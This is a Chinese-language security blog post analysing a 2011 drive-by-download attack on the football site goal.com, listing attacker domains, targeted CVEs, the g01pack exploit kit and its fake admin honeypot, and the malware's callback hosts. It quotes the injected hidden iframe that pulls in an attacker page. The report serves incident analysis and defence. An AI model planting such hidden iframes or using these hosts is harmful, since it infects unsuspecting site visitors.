阿碼外傳-阿碼科技非官方中文 Blog: 2011年5月10日

2011年5月10日

知名足球網站(goal.com)散播惡意程式

(Credits: Chris Hsiao, NightCola Lin, Wayne Huang)

1. 根據compete.com,goal.com每一天平均有232,116個人瀏覽
2. 根據checksitetraffic.com,每一天則有215,989人
3. goal.com在Alexaalexa.com全球的排名是Rank. 379

HackAlert最近在4/27~4/28中偵測到有Drive-By-Download的行為。根據我們所觀察到的,我們相信攻擊者具有能夠進入goal.com系統內部的權限,同時僅在4/27~4/28中測試攻擊的效果。
以下是我們的技術報告:

[摘要]

A. 根據我們所搜集到的資料,有部份的goal.com似乎已經被感染且允許攻擊者操控其網頁內容。受感染網站可能存在供攻擊者持續使用的後門程式,用以控制該網站。

B. 我們認為這次的攻擊不屬於一次性的mass-SQL injection攻擊,因為相關惡意網域並未出現在其他被感染的網站中。

C. 惡意網域包含:
1. pxcz.cz.cc (沒有被任何一家防毒廠商/Google SafeBrowsing 標示為黑名單)
2. opofy7puti.cz.cc (沒有被任何一家防毒廠商/Google SafeBrowsing 標示為黑名單)
3. justatest.cz.cc (沒有被任何一家防毒廠商/Google SafeBrowsing 標示為黑名單)

這些線索顯示這是一個針對goal.com所發動的攻擊。

D. 持續散播時間為4/27~4/28,攻擊者似乎是使用這段時間來測試攻擊的效果,而在這段時間被我們的Scanner掃到。

E. 被我們採樣到的攻擊碼會針對以下的弱點進行攻擊:CVE-2010-1423 (Java), CVE-2010-1885 (MS help center HCP), CVE-2009-0927 (PDF), and CVE-2006-0003 (MS MDAC)

F. 使用的是g01pack exploit pack,與一般的exploit pack不同的是他包含了一個假的admin管理頁面,攻擊者可透過這個假的"honeynet"來觀察是誰在做進一步的調查。

G. 攻擊碼本身做了相當程度的"變形",在這邊我們不用"混碼"這個字詞的原因是:除了混碼之外,攻擊碼本身就使用了有別於以往的方式來規避偵測。

H. 惡意程式本身透過UPX來進行加殼,會修改系統中的setupapi.dll及sfcfiles.dat。當我們第一次傳送到VirusTotal時,僅有四家防毒廠商(4 / 41)標示其為惡意。

I. 惡意程式會連到以下網域:

1. testurl.ipq.co:80 (UK) (沒有被任何一家防毒廠商/Google SafeBrowsing 標示為黑名單)
2. 74.125.47.99:80 (US),反解得到coldgold.co.uk (沒有被任何一家防毒廠商/Google SafeBrowsing 標示為黑名單)
3. banderlog.org (沒有被任何一家防毒廠商/Google SafeBrowsing 標示為黑名單,但是在clean-mx.de可以看到他的蹤跡)

[詳細資訊]

這裡可以下載我們側錄的感染記錄檔。包含了在用瀏覽器瀏覽時所產生的Http Traffic,從開始瀏覽網站到惡意程式本身透過瀏覽器被下載下來。

整個感染鏈為:
1. goal.com,包含iframe指向pxcz.cz.cc
2. pxcz.cz.cc 內包含iframe指向justatest.cz.cc
3. justatest.cz.cc內包含攻擊程式碼(g01pack exploit pack),會依照使用者的瀏覽器不同提供不同的攻擊碼
4. 攻擊碼成功執行,從justatest.cz.cc下載惡意程式
5. 惡意程式連結到testurl.ipq.co (UK),74.125.47.99:80 (US, coldgold.co.uk),及banderlog.org
整個感染鏈從http://www.goal.com/en/開始:
<p>Arjen Robben has admitted that his future lies with the German and European giants, hinting that he could even remain there for the rest of his career <style type="text/css">#yxvim {width: 1px;height: 1px;frameborder: no;visibility: hidden;}</style><iframe id="yxvim" src="http://pxcz.cz.cc/ad.jpg"></iframe></p>

攻擊者在上述HTML語法的後面加上了一個iframe指向pxcz.cz.cc。pxcz.cz.cc包含了另一個iframe指向justatest.cz.cc,justatest.cz.cc則同時包含了攻擊碼(g01pack)及惡意程式本身。這個g01pack比較特殊的部份是他同時包含了一些假的Admin頁面,這個Admin頁面支援一些常見的帳號密碼(比如Admin / Admin),用來讓分析人員相信他們成功的穫取了g01pack管理頁面的權限。

一旦成功登入之後,呈現在分析者眼前的是攻擊者造假的數據,在此同時,攻擊者則可透過這個行為,了解有哪些人正在嘗試分析這個惡意網域。

這次事件中的攻擊碼經過相當程度的"變形",有別於以往的混碼技術,讓分析人員無法一眼即看出其為攻擊碼。TExploit pack本身包含了許多組攻擊碼,在此我們僅秀出利用CVE-2006-0003 (MS MDAC)漏洞的攻擊碼。此段攻擊碼可以在這裡取得。
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